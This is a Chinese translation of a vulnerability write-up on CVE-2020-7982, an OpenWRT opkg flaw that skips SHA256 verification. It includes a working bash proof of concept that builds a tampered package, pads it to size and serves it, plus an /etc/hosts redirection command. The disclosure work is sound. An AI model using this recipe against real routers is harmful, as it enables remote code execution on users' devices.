OPENWRT中的远程命令执行漏洞(CVE-2020-7982)

阅读量    663641 | 评论 1   稿费 180

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

 

前言

关注ForALLSecure的人可能知道,我一直在使用Mayhem软件挖掘OpenWRT中的漏洞,挖掘方式一般是:编写自定义框架、在不重新编译的情况下运行该二进制文件以及手工检查源码。

这个漏洞的发现十分偶然,当时我正在为opkg准备一个Mayhem任务。

Mayhem可以处理来自文件或者是socket连接的数据。

opkg从downloads.openwrt.org上下载软件包,所以我的计划是让这个域名指向运行有Mayhem服务的127.0.0.1地址。

为了测试opkg是否真的会从自定的网络连接上下载软件包,我设置了本地Web服务器并且创建了一个包含任意字节的文件。当我运行opkg安装软件包时,它按照我的预想检索到了该文件,并引发了段错误。

我不明白为什么无效软件包会引发这样的错误,毕竟如果SHA256的哈希值不正确的话,是不会处理该软件包的。

我最初认为,opkg会下载该软件包,解压缩并将其放入一个临时文件夹,之后才会在安装前检查SHA256哈希值,所以我怀疑是不是解压缩程序无法处理异常数据,例如这个来自我的web服务器的含有任意字节的文件。

通过进一步的检查,我发现程序根本没有进行SHA256哈希值检查,而这也是漏洞之所以能够存在的基础。

不过解压缩程序确实存在问题,异常数据会导致各种内存冲突。

确认了opkg会尝试解压缩并安装下载的任意软件包后,我就可以通过Mayhem复现这个发现,只需要对opkg进行一些小的修改。

我为opkg install attr设置了一个Mayhem任务(attr是一个小的OpenWRT软件包),通过检测解压缩程序中的内存错误,Mayhem可以发现远程命令执行漏洞。如果OpenWRT中的SHA256验证程序能够按预期工作,opkg就会丢弃异常的软件包,不对其进行处理,那么也就不会发生段错误了。

Mayhem可以在不重新编译和检测的情况下fuzzing二进制文件,我已经按照这样的流程为软件库编写很多自定义框架了(Mayhem支持这样的方式),这让我可以在短短几周内为数十个OpenWRT程序设置目标,从而发现更多漏洞。

在下面各小节中,我会详细介绍自己是如何发现这个漏洞的。

 

OpenWRT

OpenWRT是一个基于Linux系统,专门用于嵌入式设备,尤其是路由器的免费操作系统,它已安装在全球数百万台设备上。

 

OpenWRT包管理器

可以使用opkg程序在OpenWRT系统上安装或更新软件,opkg的功能和目的类似于基于Debian的系统上的apt程序。

opkg通过未加密的HTTP连接从downloads.openwrt.org上获取可安装软件包列表。

软件包列表会进行数字签名,在处理包文件前,程序会验证该文件确实来自OpenWRT,如果验证失败,就丢弃该文件。

一个典型的包条目如下所示:

Package: attr
Version: 2.4.48-2
Depends: libc, libattr
License: GPL-2.0-or-later
Section: utils
Architecture: x86_64
Installed-Size: 11797
Filename: attr_2.4.48-2_x86_64.ipk
Size: 12517
SHA256sum: 10f4e47bf6b74ac1e49edb95036ad7f9de564e6aba54ccee6806ab7ace5e90a6                                                                                                                              
Description:  Extended attributes support
 This package provides xattr manipulation utilities
 - attr
 - getfattr
 - setfattr

其中SHA256sum字段用于确保下载的软件包未破损或被破坏,程序默认SHA256哈希值是来自OpenWRT的,因为软件包列表中也包含这个哈希值,而软件包列表是通过了签名验证的。

理论上来讲,因为使用了签名,即使传输通道(HTTP)并不安全,软件包列表和软件压缩包也不会被篡改。

关于这部分内容的讨论可以看这里

 

漏洞

在用户通过opkg install <package>安装软件包后,opkg会首先解析软件包列表。

解析器遍历每个包条目,并根据字段类型执行不同的操作,如果是SHA256sum字段,解析器会调用pkg_set_sha256

312              else if ((mask & PFM_SHA256SUM) && is_field("SHA256sum", line))
313                      pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);

pkg_set_sha256会尝试将SHA256sum字段从十六进制转为二进制,并以内部形式存储:

244 char *pkg_set_sha256(pkg_t *pkg, const char *cksum)
245 {
246      size_t len;
247      char *p = checksum_hex2bin(cksum, &len);
248
249      if (!p || len != 32)
250              return NULL;
251
252      return pkg_set_raw(pkg, PKG_SHA256SUM, p, len);
253 }

如果解码失败,程序自动结束,并不保存哈希值。

漏洞发生在checksum_hex2bin中,这个漏洞很容易被忽略,你能找到它吗?

234 char *checksum_hex2bin(const char *src, size_t *len)
235 {
236      size_t slen;
237      unsigned char *p;
238      const unsigned char *s = (unsigned char *)src;
239      static unsigned char buf[32];
240
241      if (!src) {
242              *len = 0;
243              return NULL;
244      }
245
246      while (isspace(*src))
247              src++;
248
249      slen = strlen(src);
250
251      if (slen > 64) {
252              *len = 0;
253              return NULL;
254      }
255
256      for (p = buf, *len = 0;
257           slen > 0 && isxdigit(s[0]) && isxdigit(s[1]);
258           slen--, s += 2, (*len)++)
259              *p++ = hex2bin(s[0]) * 16 + hex2bin(s[1]);
260
261      return (char *)buf;
262 }

最开始,变量ssrc都指向同一地址。

在第246行,变量src前进到第一个非空格字符,然而在实际进行解码时,256行的for循环是在变量s上进行操作,而变量s仍旧指向字符串的起始位置。

因此,如果输入的字符串开头有任何空格字符的话,程序就会尝试对空格字符进行解码,而空格字符并不是十六进制字符,所以isxdigit()会返回false,解码器的循环立即终止,*len0

再次检查解析器,可以看到传递给pkg_set_sha256的字符串是”SHA256sum:”后面的部分字符串:

313                     pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);

这就意味着这个部分字符串的第一个字符是一个空格。

软件包列表解析完成后,通过HTTP下载软件包。

接下来会进行几个验证步骤。

下载的软件包大小必须等于软件包列表中的指定大小:


1379      pkg_expected_size = pkg_get_int(pkg, PKG_SIZE);
1380
1381      if (pkg_expected_size > 0 && pkg_stat.st_size != pkg_expected_size) {
1382              if (!conf->force_checksum) {
1383                      opkg_msg(ERROR,
1384                               "Package size mismatch: %s is %lld bytes, expecting %lld bytesn",
1385                               pkg->name, (long long int)pkg_stat.st_size, pkg_expected_size);
1386                      return -1;
1387              } else {
1388                      opkg_msg(NOTICE,
1389                               "Ignored %s size mismatch.n",
1390                               pkg->name);
1391              }
1392      }

如果指定了这个软件包的SHA256哈希值,该哈希值也必须匹配:

1415      /* Check for sha256 value */
1416      pkg_sha256 = pkg_get_sha256(pkg);
1417      if (pkg_sha256) {
1418              file_sha256 = file_sha256sum_alloc(local_filename);
1419              if (file_sha256 && strcmp(file_sha256, pkg_sha256)) {
1420                      if (!conf->force_checksum) {
1421                              opkg_msg(ERROR,
1422                                       "Package %s sha256sum mismatch. "
1423                                       "Either the opkg or the package index are corrupt. "
1424                                       "Try 'opkg update'.n", pkg->name);
1425                              free(file_sha256);
1426                              return -1;
1427                      } else {
1428                              opkg_msg(NOTICE,
1429                                       "Ignored %s sha256sum mismatch.n",
1430                                       pkg->name);
1431                      }
1432              }
1433              if (file_sha256)
1434                      free(file_sha256);
1435      }

但是因为checksum_hex2bin没有办法对SHA256sum字段进行解码,所以1418行之后的代码被直接跳过。

这个漏洞很像三年前,在2017年2月发现的一个漏洞:https://git.openwrt.org/?p=project/opkg-lede.git;a=blobdiff;f=libopkg/file_util.c;h=155d73b52be1ac81d88ebfd851c50c98ede6f012;hp=912b147ad306766f6275e93a3b9860de81b29242;hb=54cc7e3bd1f79569022aa9fc3d0e748c81e3bcd8;hpb=9396bd4a4c84bde6b55ac3c47c90b4804e51adaf

 

漏洞的利用

为了利用这个漏洞,攻击者需要在一个Web服务器上提供(受损的)软件包。

为此,攻击者必须能够拦截并替换设备与downloads.openwrt.org之间的通信,或者控制设备使用的DNS服务器,让downloads.openwrt.org指向攻击者控制的web服务器。

如果攻击者与设备处在同一网络中,攻击者可以使用数据包欺骗或者ARP缓存感染的方式进行攻击,但是我还没测试过这种情况。

唯一的限制条件就是,受损软件包大小要和软件包列表中的Size字段相匹配。

要实现这点很简单:

1、创建一个小于原始包的受损软件包;
2、计算原始包与受损软件包之间的大小差异;
3、在受损软件包后添加相同数量的0字节;

下面的PoC说明了如何实现漏洞利用:

#!/bin/bash

# 从镜像下载软件包列表
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig

mv downloads.openwrt.org/snapshots .
rm -rf downloads.openwrt.org/

# 获得原始软件包
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk
ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
tar zxf attr_2.4.48-2_x86_64.ipk
rm attr_2.4.48-2_x86_64.ipk

# 提取二进制文件
mkdir data/
cd data/
tar zxvf ../data.tar.gz
rm ../data.tar.gz

# 创建用于替换的二进制文件,这是一个很小的程序,只打印一个字符串。
rm -f /tmp/pwned.asm /tmp/pwned.o
echo "section  .text" >>/tmp/pwned.asm
echo "global   _start" >>/tmp/pwned.asm
echo "_start:" >>/tmp/pwned.asm
echo " mov  edx,len" >>/tmp/pwned.asm
echo " mov  ecx,msg" >>/tmp/pwned.asm
echo " mov  ebx,1" >>/tmp/pwned.asm
echo " mov  eax,4" >>/tmp/pwned.asm
echo " int  0x80" >>/tmp/pwned.asm
echo " mov  eax,1" >>/tmp/pwned.asm
echo " int  0x80" >>/tmp/pwned.asm
echo "section  .data" >>/tmp/pwned.asm
echo "msg  db  'pwned :)',0xa" >>/tmp/pwned.asm
echo "len  equ $ - msg" >>/tmp/pwned.asm

# 编译
nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o

# 链接
ld /tmp/pwned.o -o usr/bin/attr

# 压缩进data.tar.gz
tar czvf ../data.tar.gz *
cd ../

# 移除不需要的文件
rm -rf data/

# 压缩
tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary

# 移除不需要的文件
rm control.tar.gz data.tar.gz debian-binary

# 计算原始软件包和受损软件包间的大小差异
MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))"

# 向受损软件包中填充对应数量的0字节
head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk

# 下载attr的依赖项
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk

# 将在web server上提供服务的文件放入对应位置
mkdir -p snapshots/packages/x86_64/packages/
mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/

# 启动opkg要连接的web服务器
sudo python -m SimpleHTTPServer 80

假设Web服务器的IP地址为192.168.2.10,在OpenWRT系统上运行如下命令:

echo "192.168.2.10 downloads.openwrt.org" >>/etc/hosts; opkg update && opkg install attr && attr

漏洞修复之前,上面的命令执行后会输出pwned :)

注意命令中对/etc/hosts文件的修改是必须的,因为要模拟中间人(或者说破坏DNS)攻击

 

如何防范

在我报告这个漏洞后不久,OpenWRT就把软件包列表中SHA256sum字段的空格去掉了。

这么做可以减轻用户的风险,在此之后更新软件包列表的用户不易再受攻击,因为软件包安装过程不会再跳过哈希验证步骤。

但是这并不是一个长期解决方案,因为攻击者只需要提供一个OpenWRT签名的旧版本软件包列表就可以绕过该方法。

这个commit已经修复了checksum_hex2binzh中的漏洞,并将其整合到了OpenWRTde 18.06.7和19.07.1版本中,这两个版本已于2020年2月1日发布。

我的建议是将OpenWRT版本升级到18.06.7或19.07.1。

 

补充笔记

早在2016年,Google Project Zero的Jann Horn就在Debian的apt包管理器中发现了一个类似的漏洞。

去年,Max Justicz发现了另一个相似的漏洞。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多